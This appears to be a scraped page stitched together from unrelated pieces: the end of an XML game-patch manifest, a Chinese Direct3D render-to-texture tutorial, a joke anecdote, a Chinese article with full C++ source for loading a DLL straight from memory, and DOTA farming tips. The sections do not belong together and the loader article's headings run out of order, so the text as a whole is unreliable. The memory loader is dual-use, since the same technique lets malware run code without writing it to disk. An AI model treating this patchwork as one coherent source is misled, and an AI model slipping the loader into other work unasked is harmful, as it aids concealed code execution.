      <Delete Where="shadowlayer/terrainblock41.tga" />
      <Delete Where="shadowlayer/terrainblock42.tga" />
      <Delete Where="shadowlayer/terrainblock43.tga" />
      <Delete Where="shadowlayer/terrainblock44.tga" />
      <Delete Where="shadowlayer/terrainblock45.tga" />
      <Delete Where="shadowlayer/terrainblock46.tga" />
      <Delete Where="shadowlayer/terrainblock47.tga" />
      <Delete Where="shadowlayer/terrainblock48.tga" />
      <Delete Where="shadowlayer/terrainblock49.tga" />
      <Delete Where="shadowlayer/terrainblock5.tga" />
      <Delete Where="shadowlayer/terrainblock50.tga" />
      <Delete Where="shadowlayer/terrainblock51.tga" />
      <Delete Where="shadowlayer/terrainblock52.tga" />
      <Delete Where="shadowlayer/terrainblock53.tga" />
      <Delete Where="shadowlayer/terrainblock54.tga" />
      <Delete Where="shadowlayer/terrainblock55.tga" />
      <Delete Where="shadowlayer/terrainblock56.tga" />
      <Delete Where="shadowlayer/terrainblock57.tga" />
      <Delete Where="shadowlayer/terrainblock58.tga" />
      <Delete Where="shadowlayer/terrainblock59.tga" />
      <Delete Where="shadowlayer/terrainblock6.tga" />
      <Delete Where="shadowlayer/terrainblock60.tga" />
      <Delete Where="shadowlayer/terrainblock61.tga" />
      <Delete Where="shadowlayer/terrainblock62.tga" />
      <Delete Where="shadowlayer/terrainblock63.tga" />
      <Delete Where="shadowlayer/terrainblock7.tga" />
      <Delete Where="shadowlayer/terrainblock8.tga" />
      <Delete Where="shadowlayer/terrainblock9.tga" />
      <Replace From="26.dat" ToReplace="aaa.xml" />
      <Replace From="27.dat" ToReplace="skybox/lava_01.tga" />
      <Replace From="28.dat" ToReplace="skybox/skybox.material" />
      <Replace From="29.dat" ToReplace="复件 skybox/skybox.material" />
    </PackageActions>
  </UpdateActions>
</VersionCompare>

www.azure.com.cn

渲染到纹理是D3D中的一项高级技术。一方面,它很简单,另一方面它很强大并能产生很多特殊效果。 比如说发光效果,环境映射,阴影映射,都可以通过它来实现。渲染到纹理只是渲染到表面的一个延伸。我们只需再加些东西就可以了。首先,我们要创造一个纹理,并且做好一些防范措施。第二步我们就可以把适当的场景渲染到我们创建的纹理上了。然后,我们把这个纹理用在最后的渲染上。

首先我们得声明所需要的对象。当然我们需要一张用来渲染的纹理。此外,我们还需要两个Surface对象。一个是用来存储后台缓冲区,一个用来当纹理的渲染对象。后面我再详细介绍它们。另外我们还需要两个矩阵,一个是用来当纹理的投影矩阵,另一个是存储原来的矩阵。

1
2
3
LPDIRECT3DTEXTURE9 pRenderTexture = NULL;
LPDIRECT3DSURFACE9 pRenderSurface = NULL,pBackBuffer = NULL;
D3DXMATRIX matProjection,matOldProjection;

现在我们来创建纹理。前两个参数是纹理的宽度和高度,第三个参数是纹理的多级渐进纹理序列参数,在这里是设为1,第四个参数非常重要而且必须设为D3DUSAGE_RENDERTARGET,表明我们所创建的纹理是用来渲染的。剩下的参数就是指纹理格式,顶点缓冲区的内存位置,和一个指向纹理的指针。当纹理是用来当渲染对象时,顶点缓冲区的内存位置必须设为D3D_DEFAILT。

1
g_App.GetDevice()->CreateTexture(256,256,1,D3DUSAGE_RENDERTARGET,D3DFMT_R5G6B5,D3DPOOL_DEFAULT,&pRenderTexture,NULL);

为了访问纹理内存对象,我们需要一个Surface对象,因为D3D中的纹理是用这样的一个Surface来存储纹理数据的。为了得到纹理表面的Surface,我们需要调用方法GetSurfaceLevel() 。第一个参数我们设为0,第二个参数为一个指向surface对象的指针。

1
pRenderTexture->GetSurfaceLevel(0,&pRenderSurface);

下一步就是创建一个适合纹理维数的投影矩阵,因为纹理的横纵比和后台缓冲区的不一样。

1
D3DXMatrixPerspectiveFovLH(&matProjection,D3DX_PI / 4.0f,1,1,100);

在我们的循环渲染之前,我们必须保存后台缓冲区和它的投影矩阵。

1
2
g_App.GetDevice()->GetTransform(D3DTS_PROJECTION,&matOldProjection);
g_App.GetDevice()->GetRenderTarget(0,&pBackBuffer);

渲染循环函数可以分为两个部分。第一部分是渲染到纹理的过程。因此,渲染对象必须设为纹理表面。然后我们就可以把东西渲染到这个对象上了。渲染到另一个表面上和正常地渲染到后台缓冲区差不多。只有一点不同,那就是先不调用Prensent()函数,因为纹理上的内容并不需要显示在屏幕上。象平时一样,我们先要重置表面颜色缓冲区,并且调用BeginSence()和EndSence()方法。为了能够适当的渲染,我们必须设置和纹理表面相符的投影矩阵。否则最后的图象可能被扭曲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//render-to-texture
g_App.GetDevice()->SetRenderTarget(0,pRenderSurface); //set new render target
g_App.GetDevice()->Clear(0,NULL,D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER,D3DCOLOR_XRGB(100,100,100),1.0f,0); //clear texture
g_App.GetDevice()->BeginScene();
g_App.GetDevice()->SetTexture(0,pPyramideTexture);

D3DXMatrixRotationY(&matRotationY,fRotation);
D3DXMatrixTranslation(&matTranslation,0.0f,0.0f,5.0f);
g_App.GetDevice()->SetTransform(D3DTS_WORLD,&(matRotationY * matTranslation));
g_App.GetDevice()->SetTransform(D3DTS_PROJECTION,&matProjection); //set projection matrix
g_App.GetDevice()->SetStreamSource(0,pTriangleVB,0,sizeof(D3DVERTEX));
g_App.GetDevice()->DrawPrimitive(D3DPT_TRIANGLELIST,0,4);

g_App.GetDevice()->EndScene();

渲染循环的第二部分就是渲染最后场景的过程(也就是显示到屏幕上的过程)。渲染对象重新设为后台缓冲区,投影矩阵重新设为原来的投影矩阵。由于纹理已经准备好了,所以它和纹理层0相关联。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//render scene with texture
g_App.GetDevice()->SetRenderTarget(0,pBackBuffer); //set back buffer
g_App.GetDevice()->Clear(0,NULL,D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER,D3DCOLOR_XRGB(0,0,0),1.0f,0);
g_App.GetDevice()->BeginScene();

g_App.GetDevice()->SetTexture(0,pRenderTexture); //set rendered texture

g_App.GetDevice()->SetTransform(D3DTS_WORLD,&matTranslation);
g_App.GetDevice()->SetTransform(D3DTS_PROJECTION,&matOldProjection); //restore projection matrix

g_App.GetDevice()->SetStreamSource(0,pQuadVB,0,sizeof(D3DVERTEX));
g_App.GetDevice()->DrawPrimitive(D3DPT_TRIANGLESTRIP,0,2);

g_App.GetDevice()->EndScene();
g_App.GetDevice()->Present(NULL,NULL,NULL,NULL);

最后我们通过调用Release()方法释放Surface对象。

1
2
3
4
5
6
pRenderSurface->Release();
pRenderSurface = NULL;

pBackBuffer->Release();
pBackBuffer = NULL;

渲染到纹理能让你做很多事情,但是你必须注意一些限制。首先深度缓冲区必须总是大于或等于渲染对象的大小。此外,渲染对象和深度缓冲区的格式必须一致。

今天餐馆有两伙人打架,其他无关的人都跑掉了,只有我没有离开座位,微笑的看着他们。我觉得自己非常酷。
突然有一个人指着我说:打他们丫老大!我刚要说我不是,一个酒瓶子就把我头打开了花。然后几个人过来揣我。另一伙看他们在打不认识的人竟然也不帮忙。
我快被打半死时pol.ice来了,还把我当成主犯拉回去审讯。刚才才被家长领回家。我现在悟出了一个非常深刻的道理,就是:
没实力,千万别装B!

五、加载类的源代码。(编译环境vc6,win98)

typedef   BOOL (__stdcall *ProcDllMain)(HINSTANCE, DWORD,  LPVOID );

class CMemLoadDll
{
public:
CMemLoadDll();
~CMemLoadDll();
BOOL    MemLoadLibrary( void* lpFileData , int DataLength);  // Dll file data buffer
FARPROC MemGetProcAddress(LPCSTR lpProcName);
private:
BOOL isLoadOk;
BOOL CheckDataValide(void* lpFileData, int DataLength);
int  CalcTotalImageSize();
void CopyDllDatas(void* pDest, void* pSrc);
BOOL FillRavAddress(void* pBase);
void DoRelocation(void* pNewBase);
int  GetAlignedSize(int Origin, int Alignment);
private:
ProcDllMain pDllMain;

private:
DWORD  pImageBase;
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNTHeader;
PIMAGE_SECTION_HEADER pSectionHeader;
};

CMemLoadDll::CMemLoadDll()
{
isLoadOk = FALSE;
pImageBase = NULL;
pDllMain = NULL;
}
CMemLoadDll::~CMemLoadDll()
{
if(isLoadOk)
{
  ASSERT(pImageBase != NULL);
  ASSERT(pDllMain   != NULL);
  //脱钩,准备卸载dll
  pDllMain((HINSTANCE)pImageBase,DLL_PROCESS_DETACH,0);
  VirtualFree((LPVOID)pImageBase, 0, MEM_RELEASE);
}
}

//MemLoadLibrary函数从内存缓冲区数据中加载一个dll到当前进程的地址空间,缺省位置0x10000000
//返回值: 成功返回TRUE , 失败返回FALSE
//lpFileData: 存放dll文件数据的缓冲区
//DataLength: 缓冲区中数据的总长度
BOOL CMemLoadDll::MemLoadLibrary(void* lpFileData, int DataLength)
{
if(pImageBase != NULL)
{
  return FALSE;  //已经加载一个dll,还没有释放,不能加载新的dll
}
//检查数据有效性,并初始化
if(!CheckDataValide(lpFileData, DataLength))return FALSE;
//计算所需的加载空间
int ImageSize = CalcTotalImageSize();
if(ImageSize == 0) return FALSE;

// 分配虚拟内存
void *pMemoryAddress = VirtualAlloc((LPVOID)0x10000000, ImageSize,
     MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pMemoryAddress == NULL) return FALSE;
else
{
  CopyDllDatas(pMemoryAddress, lpFileData); //复制dll数据,并对齐每个段
  //重定位信息
  if(pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress >0
   && pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size>0)
  {
   DoRelocation(pMemoryAddress);
  }
  //填充引入地址表
  if(!FillRavAddress(pMemoryAddress)) //修正引入地址表失败
  {
   VirtualFree(pMemoryAddress,0,MEM_RELEASE);
   return FALSE;
  }
  //修改页属性。应该根据每个页的属性单独设置其对应内存页的属性。这里简化一下。
  //统一设置成一个属性PAGE_EXECUTE_READWRITE
  unsigned long old;
  VirtualProtect(pMemoryAddress, ImageSize, PAGE_EXECUTE_READWRITE,&old);
}
//修正基地址
pNTHeader->OptionalHeader.ImageBase = (DWORD)pMemoryAddress;

//接下来要调用一下dll的入口函数,做初始化工作。
pDllMain = (ProcDllMain)(pNTHeader->OptionalHeader.AddressOfEntryPoint +(DWORD) pMemoryAddress);
BOOL InitResult = pDllMain((HINSTANCE)pMemoryAddress,DLL_PROCESS_ATTACH,0);
if(!InitResult) //初始化失败
{
  pDllMain((HINSTANCE)pMemoryAddress,DLL_PROCESS_DETACH,0);
  VirtualFree(pMemoryAddress,0,MEM_RELEASE);
  pDllMain = NULL;
  return FALSE;
}

isLoadOk = TRUE;
pImageBase = (DWORD)pMemoryAddress;
return TRUE;
}

//MemGetProcAddress函数从dll中获取指定函数的地址
//返回值: 成功返回函数地址 , 失败返回NULL
//lpProcName: 要查找函数的名字或者序号
FARPROC  CMemLoadDll::MemGetProcAddress(LPCSTR lpProcName)
{
if(pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0 ||
  pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == 0)
  return NULL;
if(!isLoadOk) return NULL;

DWORD OffsetStart = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
DWORD Size = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;

PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD)pImageBase + pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
int iBase = pExport->Base;
int iNumberOfFunctions = pExport->NumberOfFunctions;
int iNumberOfNames = pExport->NumberOfNames; //<= iNumberOfFunctions
LPDWORD pAddressOfFunctions = (LPDWORD)(pExport->AddressOfFunctions + pImageBase);
LPWORD  pAddressOfOrdinals = (LPWORD)(pExport->AddressOfNameOrdinals + pImageBase);
LPDWORD pAddressOfNames  = (LPDWORD)(pExport->AddressOfNames + pImageBase);

int iOrdinal = -1;

if(((DWORD)lpProcName & 0xFFFF0000) == 0) //IT IS A ORDINAL!
{
  iOrdinal = (DWORD)lpProcName & 0x0000FFFF - iBase;
}
else  //use name
{
  int iFound = -1;

  for(int i=0;i<iNumberOfNames;i++)
  {
   char* pName= (char* )(pAddressOfNames[i] + pImageBase);
   if(strcmp(pName, lpProcName) == 0)
   {
    iFound = i; break;
   }
  }
  if(iFound >= 0)
  {
   iOrdinal = (int)(pAddressOfOrdinals[iFound]);
  }
}

if(iOrdinal < 0 || iOrdinal >= iNumberOfFunctions ) return NULL;
else
{
  DWORD pFunctionOffset = pAddressOfFunctions[iOrdinal];
  if(pFunctionOffset > OffsetStart && pFunctionOffset < (OffsetStart+Size))//maybe Export Forwarding
   return NULL;
  else return (FARPROC)(pFunctionOffset + pImageBase);
}

}

// 重定向PE用到的地址
void CMemLoadDll::DoRelocation( void *NewBase)
{
/* 重定位表的结构:
// DWORD sectionAddress, DWORD size (包括本节需要重定位的数据)
// 例如 1000节需要修正5个重定位数据的话,重定位表的数据是
// 00 10 00 00   14 00 00 00      xxxx xxxx xxxx xxxx xxxx 0000
// -----------   -----------      ----
// 给出节的偏移  总尺寸=8+6*2     需要修正的地址           用于对齐4字节
// 重定位表是若干个相连,如果address 和 size都是0 表示结束
// 需要修正的地址是12位的,高4位是形态字,intel cpu下是3
*/
//假设NewBase是0x600000,而文件中设置的缺省ImageBase是0x400000,则修正偏移量就是0x200000
DWORD Delta = (DWORD)NewBase - pNTHeader->OptionalHeader.ImageBase;

//注意重定位表的位置可能和硬盘文件中的偏移地址不同,应该使用加载后的地址
PIMAGE_BASE_RELOCATION pLoc = (PIMAGE_BASE_RELOCATION)((unsigned long)NewBase
  + pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while((pLoc->VirtualAddress + pLoc->SizeOfBlock) != 0) //开始扫描重定位表
{
  WORD *pLocData = (WORD *)((int)pLoc + sizeof(IMAGE_BASE_RELOCATION));
  //计算本节需要修正的重定位项(地址)的数目
  int NumberOfReloc = (pLoc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))/sizeof(WORD);
  for( int i=0 ; i < NumberOfReloc; i++)
  {
   if( (DWORD)(pLocData[i] & 0xF000) == 0x00003000) //这是一个需要修正的地址
   {
    // 举例:
    // pLoc->VirtualAddress = 0x1000;
    // pLocData[i] = 0x313E; 表示本节偏移地址0x13E处需要修正
    // 因此 pAddress = 基地址 + 0x113E
    // 里面的内容是 A1 ( 0c d4 02 10)  汇编代码是: mov eax , [1002d40c]
    // 需要修正1002d40c这个地址
    DWORD * pAddress = (DWORD *)((unsigned long)NewBase + pLoc->VirtualAddress + (pLocData[i] & 0x0FFF));
    *pAddress += Delta;
   }
  }
  //转移到下一个节进行处理
  pLoc = (PIMAGE_BASE_RELOCATION)((DWORD)pLoc + pLoc->SizeOfBlock);
}
}

//填充引入地址表
BOOL CMemLoadDll::FillRavAddress(void *pImageBase)
{
// 引入表实际上是一个 IMAGE_IMPORT_DESCRIPTOR 结构数组,全部是0表示结束
// 数组定义如下:
//
    // DWORD   OriginalFirstThunk;         // 0表示结束,否则指向未绑定的IAT结构数组
    // DWORD   TimeDateStamp;
    // DWORD   ForwarderChain;             // -1 if no forwarders
    // DWORD   Name;                       // 给出dll的名字
    // DWORD   FirstThunk;                 // 指向IAT结构数组的地址(绑定后,这些IAT里面就是实际的函数地址)
unsigned long Offset = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress ;
if(Offset == 0) return TRUE; //No Import Table
PIMAGE_IMPORT_DESCRIPTOR pID = (PIMAGE_IMPORT_DESCRIPTOR)((unsigned long) pImageBase + Offset);
while(pID->Characteristics != 0 )
{
  PIMAGE_THUNK_DATA pRealIAT = (PIMAGE_THUNK_DATA)((unsigned long)pImageBase + pID->FirstThunk);
  PIMAGE_THUNK_DATA pOriginalIAT = (PIMAGE_THUNK_DATA)((unsigned long)pImageBase + pID->OriginalFirstThunk);
  //获取dll的名字
  char buf[256]; //dll name;
  BYTE* pName = (BYTE*)((unsigned long)pImageBase + pID->Name);
  for(int i=0;i<256;i++)
  {
   if(pName[i] == 0)break;
   buf[i] = pName[i];
  }
  if(i>=256) return FALSE;  // bad dll name
  else buf[i] = 0;
  HMODULE hDll = GetModuleHandle(buf);
  if(hDll == NULL)return FALSE; //NOT FOUND DLL
  //获取DLL中每个导出函数的地址,填入IAT
  //每个IAT结构是 :
  // union { PBYTE  ForwarderString;
        //   PDWORD Function;
        //   DWORD Ordinal;
        //   PIMAGE_IMPORT_BY_NAME  AddressOfData;
  // } u1;
  // 长度是一个DWORD ,正好容纳一个地址。
  for(i=0; ;i++)
  {
   if(pOriginalIAT[i].u1.Function == 0)break;
   FARPROC lpFunction = NULL;
   if(pOriginalIAT[i].u1.Ordinal & IMAGE_ORDINAL_FLAG) //这里的值给出的是导出序号
   {
    lpFunction = GetProcAddress(hDll, (LPCSTR)(pOriginalIAT[i].u1.Ordinal & 0x0000FFFF));
   }
   else //按照名字导入
   {
    //获取此IAT项所描述的函数名称
    PIMAGE_IMPORT_BY_NAME pByName = (PIMAGE_IMPORT_BY_NAME)
     ((DWORD)pImageBase + (DWORD)(pOriginalIAT[i].u1.AddressOfData));
//    if(pByName->Hint !=0)
//     lpFunction = GetProcAddress(hDll, (LPCSTR)pByName->Hint);
//    else
     lpFunction = GetProcAddress(hDll, (char *)pByName->Name);
   }
   if(lpFunction != NULL)   //找到了!
   {
    pRealIAT[i].u1.Function = (PDWORD) lpFunction;
   }
   else return FALSE;
  }

  //move to next
  pID = (PIMAGE_IMPORT_DESCRIPTOR)( (DWORD)pID + sizeof(IMAGE_IMPORT_DESCRIPTOR));
}
return TRUE;
}

//CheckDataValide函数用于检查缓冲区中的数据是否有效的dll文件
//返回值: 是一个可执行的dll则返回TRUE,否则返回FALSE。
//lpFileData: 存放dll数据的内存缓冲区
//DataLength: dll文件的长度
BOOL CMemLoadDll::CheckDataValide(void* lpFileData, int DataLength)
{
//检查长度
if(DataLength < sizeof(IMAGE_DOS_HEADER)) return FALSE;
pDosHeader = (PIMAGE_DOS_HEADER)lpFileData;  // DOS头
//检查dos头的标记
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;  //0x5A4D : MZ

//检查长度
if((DWORD)DataLength < (pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)) ) return FALSE;
//取得pe头
pNTHeader = (PIMAGE_NT_HEADERS)( (unsigned long)lpFileData + pDosHeader->e_lfanew); // PE头
//检查pe头的合法性
if(pNTHeader->Signature != IMAGE_NT_SIGNATURE) return FALSE;  //0x00004550 : PE00
if((pNTHeader->FileHeader.Characteristics & IMAGE_FILE_DLL) == 0) //0x2000  : File is a DLL
  return FALSE; 
if((pNTHeader->FileHeader.Characteristics & IMAGE_FILE_EXECUTABLE_IMAGE) == 0) //0x0002 : 指出文件可以运行
  return FALSE;
if(pNTHeader->FileHeader.SizeOfOptionalHeader != sizeof(IMAGE_OPTIONAL_HEADER)) return FALSE;

//取得节表(段表)
pSectionHeader = (PIMAGE_SECTION_HEADER)((int)pNTHeader + sizeof(IMAGE_NT_HEADERS));
//验证每个节表的空间
for(int i=0; i< pNTHeader->FileHeader.NumberOfSections; i++)
{
  if((pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData) > (DWORD)DataLength)return FALSE;
}
return TRUE;
}

//计算对齐边界
int CMemLoadDll::GetAlignedSize(int Origin, int Alignment)
{
return (Origin + Alignment - 1) / Alignment * Alignment;
}
//计算整个dll映像文件的尺寸
int CMemLoadDll::CalcTotalImageSize()
{
int Size;
if(pNTHeader == NULL)return 0;
int nAlign = pNTHeader->OptionalHeader.SectionAlignment; //段对齐字节数

// 计算所有头的尺寸。包括dos, coff, pe头 和 段表的大小
Size = GetAlignedSize(pNTHeader->OptionalHeader.SizeOfHeaders, nAlign);
// 计算所有节的大小
for(int i=0; i < pNTHeader->FileHeader.NumberOfSections; ++i)
{
  //得到该节的大小
  int CodeSize = pSectionHeader[i].Misc.VirtualSize ;
  int LoadSize = pSectionHeader[i].SizeOfRawData;
  int MaxSize = (LoadSize > CodeSize)?(LoadSize):(CodeSize);

  int SectionSize = GetAlignedSize(pSectionHeader[i].VirtualAddress + MaxSize, nAlign);
  if(Size < SectionSize)
   Size = SectionSize;  //Use the Max;
}
return Size;
}
//CopyDllDatas函数将dll数据复制到指定内存区域,并对齐所有节
//pSrc: 存放dll数据的原始缓冲区
//pDest:目标内存地址
void CMemLoadDll::CopyDllDatas(void* pDest, void* pSrc)
{
// 计算需要复制的PE头+段表字节数
int  HeaderSize = pNTHeader->OptionalHeader.SizeOfHeaders;
int  SectionSize = pNTHeader->FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER);
int  MoveSize = HeaderSize + SectionSize;
//复制头和段信息
memmove(pDest, pSrc, MoveSize);

//复制每个节
for(int i=0; i < pNTHeader->FileHeader.NumberOfSections; ++i)
{
  if(pSectionHeader[i].VirtualAddress == 0 || pSectionHeader[i].SizeOfRawData == 0)continue;
  // 定位该节在内存中的位置
  void *pSectionAddress = (void *)((unsigned long)pDest + pSectionHeader[i].VirtualAddress);
  // 复制段数据到虚拟内存
  memmove((void *)pSectionAddress,
       (void *)((DWORD)pSrc + pSectionHeader[i].PointerToRawData),
    pSectionHeader[i].SizeOfRawData);
}

//修正指针,指向新分配的内存
//新的dos头
pDosHeader = (PIMAGE_DOS_HEADER)pDest;
//新的pe头地址
pNTHeader = (PIMAGE_NT_HEADERS)((int)pDest + (pDosHeader->e_lfanew));
//新的节表地址
pSectionHeader = (PIMAGE_SECTION_HEADER)((int)pNTHeader + sizeof(IMAGE_NT_HEADERS));
return ;
}

程序使用动态库DLL一般分为隐式加载和显式加载两种,分别对应两种链接情况。本文主要讨论显式加载的技术问题。我们知道,要显式加载一个DLL,并取得其中导出的函数地址一般是通过如下步骤:
    (1) 用LoadLibrary加载dll文件,获得该dll的模块句柄;
    (2) 定义一个函数指针类型,并声明一个变量;
    (3) 用GetProcAddress取得该dll中目标函数的地址,赋值给函数指针变量;
    (4) 调用函数指针变量。

    这个方法要求dll文件位于硬盘上面。现在假设我们的dll已经位于内存中,比如通过脱壳、解密或者解压缩得到,能不能不把它写入硬盘文件,而直接从内存加载呢?答案是肯定的。经过多天的研究,非法操作了N次,修改了M个BUG,死亡了若干脑细胞后,终于有了初步的结果,下面做个总结与大家共享。

一、加载的步骤

    由于没有相关的资料说明,只能凭借感觉来写。首先LoadLibrary是把dll的代码映射到exe进程的虚拟地址空间中,我们要实现的也是这个。所以先要弄清楚dll的文件结构。好在这个比较简单,它和exe一样也是PE文件结构,关于PE文件的资料很多,阅读一番后,基本上知道了必须做的几个工作:
    (1)判断内存数据是否是一个有效的DLL。这个功能通过函数CheckDataValide完成。原型是:
        BOOL CMemLoadDll::CheckDataValide(void* lpFileData, int DataLength);
    (2)计算加载该DLL所需的虚拟内存大小。这个功能通过函数CalcTotalImageSize完成。原型是:
        int CMemLoadDll::CalcTotalImageSize();
    (3)将DLL数据复制到所分配的虚拟内存块中。该功能通过函数CopyDllDatas完成。要注意段对齐。
        void CMemLoadDll::CopyDllDatas(void* pDest, void* pSrc);
    (4)修正基地重定位数据。这个功能通过函数DoRelocation完成。原型是:
        void CMemLoadDll::DoRelocation( void *NewBase);
    (5)填充该DLL的引入地址表。这个功能由函数FillRavAddress完成。原型是:
        BOOL CMemLoadDll::FillRavAddress(void *pImageBase);
    (6)根据DLL每个节的属性设置其对应内存页的读写属性。我这里做了简化,所有内存区域都设置成一样的读写属性。
    (7)调用入口函数DllMain,完成初始化工作。这一步我一开始忽略了,所以总是发现自己加载的dll和LoadLibrary加载的dll有些不同(我把整块内存区域保存到两个文件中进行比较,够晕的)。只是最近猜想到还需要这一步。
    (8)保存dll的基地址(即分配的内存块起始地址),用于查找dll的导出函数。从现在开始这个dll已经完全映射到了进程的虚拟地址空间,可以使用它了。
    (9)不需要dll的时候,释放所分配的虚拟内存。

二、要说明的几个问题

   (1)目前CMemLoadDll仅仅针对win32 动态库,没有考虑mfc常规和扩展dll。
   (2)只考虑使用dll中的函数,对于导出类的dll,由于通常都是隐式链接,所以也没有考虑。导出变量的dll虽然也是隐式链接,但是通过查找函数的方法也可以找到该变量,不过在取值的时候一定要符合dll中对变量的定义,比如dll中导出的是一个int变量,则得到该变量在dll中的地址后,需要强制转换成int*指针,然后取值。
   (3)查找函数的功能通过函数
       FARPROC  CMemLoadDll::MemGetProcAddress(LPCSTR lpProcName);
实现,参数是dll导出的函数(或者变量)的名字。这里必须注意函数名修饰,通常不加extern"C"的函数,编译以后在dll中导出的都是修饰名,比如:
    在dll头文件中: extern __declspec(dllexport) int nTestDll;
    在.dll中的导出符号变成 ?nTestDll@@3HA
   所以,为了能够找到我们需要的函数,必须在.h中添加extern "C"修饰。最好是给dll加一个def文件,里面明确给出每个函数的导出名字。
   (4)PE中的内容比较多,有些细节没有考虑。比如CheckDataValide函数中没有考虑dll对操作系统版本的要求。
   (5)PE文件中的节有很多种。可以从节表(或者叫做区块表)中一一找到。而且每个节的属性都不同。例如:.text, .data, .rsrc, .crt等等。由于这个代码基于手头已有的pe文件资料,对于不熟悉的节,在映射dll数据的时候没有考虑是否需要处理。
   (6)一开始把dll映射到进程的地址空间以后,我试图直接使用GetProcAddress查找函数。最初我认为LoadLibrary返回的HINSTANCE值是0x10000000,把它传递给GetProcAddress可以找到目标函数,而我也把dll映射到0x10000000这个地址,但是当我把这个值传递给GetProcAddress的时候,发现无法找到函数,用GetLastError得到错误码一看是无效句柄的错误,这才明白原来LoadLibrary在加载dll的时候,同时创建了一个句柄放入进程的句柄表,而我们要做这个工作是比较麻烦的,所以只能自己写一个查找函数。
   (7)释放dll所占据的虚拟内存,原来我使用
      VirtualFree((LPVOID)pImageBase, 0,MEM_FREE);
后来发现有问题,应该使用 VirtualFree((LPVOID)pImageBase, 0, MEM_RELEASE);
   (8)MemGetProcAddress不仅支持通过函数名查找,还支持通过导出序号查找函数。例如下面的用法:
DLLFUNCTION fDll = (DLLFUNCTION)a.MemGetProcAddress((LPCTSTR)1);

三、创建测试用的DLL,工程的名字取"TestDll"

    用VC向导创建一个WIN32 DLL工程,里面选择“导出一些符号”,为了测试需要,对源代码进行如下修改:
(1)头文件
    // This class is exported from the TestDll.dll
    class TESTDLL_API CTestDll {
        public:
CTestDll(void);
    };
    extern TESTDLL_API int nTestDll;
    //要修改的地方,添加了extern "C" 和 char *参数:
    extern "C"  TESTDLL_API int fnTestDll(char *);
  (2)cpp文件
      a. 添加 #include "stdlib.h"
      b. DllMain中
  case DLL_PROCESS_DETACH:
   nTestDll = 12345;
   break;
      c. 初始化变量
         TESTDLL_API int nTestDll=654321;
      d. 修改函数
         TESTDLL_API int fnTestDll(char *p)
         {
          if(p == NULL)
      return nTestDll;
          else
      return atoi(p);
          }

四、创建测试工程。使用一个dlg工程,测试代码如下:

    假设 DllNameBuffer里面保存有dll文件的路径
CFile f;
if(f.Open(DllNameBuffer,CFile::modeRead))
{
  int FileLength = f.GetLength();
  void *lpBuf = new char[FileLength];
  f.Read(lpBuf, FileLength);
  f.Close();

  CMemLoadDll a;
  if(a.MemLoadLibrary(lpBuf, FileLength)) //加载dll到当前进程的地址空间
  {
   typedef  int (*DLLFUNCTION)(char *);
   DLLFUNCTION fDll = (DLLFUNCTION)a.MemGetProcAddress("fnTestDll");
   if(fDll != NULL)
   {
    MessageBox("找到函数!!");
    CString str;
    str.Format("Result is: %d & %d",fDll(NULL), fDll("100"));
    MessageBox(str);
   }
   else
   {
    DWORD err = GetLastError();
    CString str;
    str.Format("Error: %d",err);
    MessageBox(str);
   }
  }

  delete[] lpBuf;
}

五、加载类源代码。(在后续贴子里面给出)

每个DOTA PLAYER都希望自己能拥有绝世神功,体验那种局局超神的快感和被别人认可的延伸!你是否苦于自己的基本功不够扎实?因为FARM速度问题不能成为一个 合格的DPS?你是否苦与天天拼命练习却看不到自己进步?你是否苦与想找到一个迅速提高自己DOTA水平的捷径?如果你有这些问题,那么我将给大家带来的 是一部DOTA高手速成宝典! 一 基本功 重中之重

  什么是基本功?我定义基本功就是正补反补 FARM的技巧!精准的补刀是成为一个顶级高手的最重要因素之一!有些时候你可能很莫名其妙为什么在中路1V1过程中两个人差距会这么大?这就是我现在所 讨论到的补刀问题了,有可能第一拨兵你一个完美的全补,最快速度出一个魔瓶,就能保证单条1V1中的绝对的优势!2V2中也是这样,比如传统双晕组合SV +TS对LINA+SNK!这两个阵容实力比较平均,那么怎么样能打败对手呢?其实最关键的就是前期SV或者SNK能够顶住对手TS或LINA的强点,在 逆境中补刀关键的几个正补和反补确定经济优势和等级优势,速度出魔瓶达到压制对手的结果!当然其中还设计到兵线和走位的问题,那些暂且不谈!

  我一直把基本功当作最重要的训练项目之一,很多玩家觉得这个可以在无限的路人中练好,但我认为专项练习才是走向王者的王道!曾经我一度每天练习1个小时用各个英雄出门就带几个树枝,去各路练习补刀,一次10分钟!在10分钟之内如果你能保证每把能正补50+,反补40+那就基本合格了!每个人的补刀习惯都不一样,但我自己习惯把补刀和小兵的攻击节奏联系到一起!对就是节奏感.

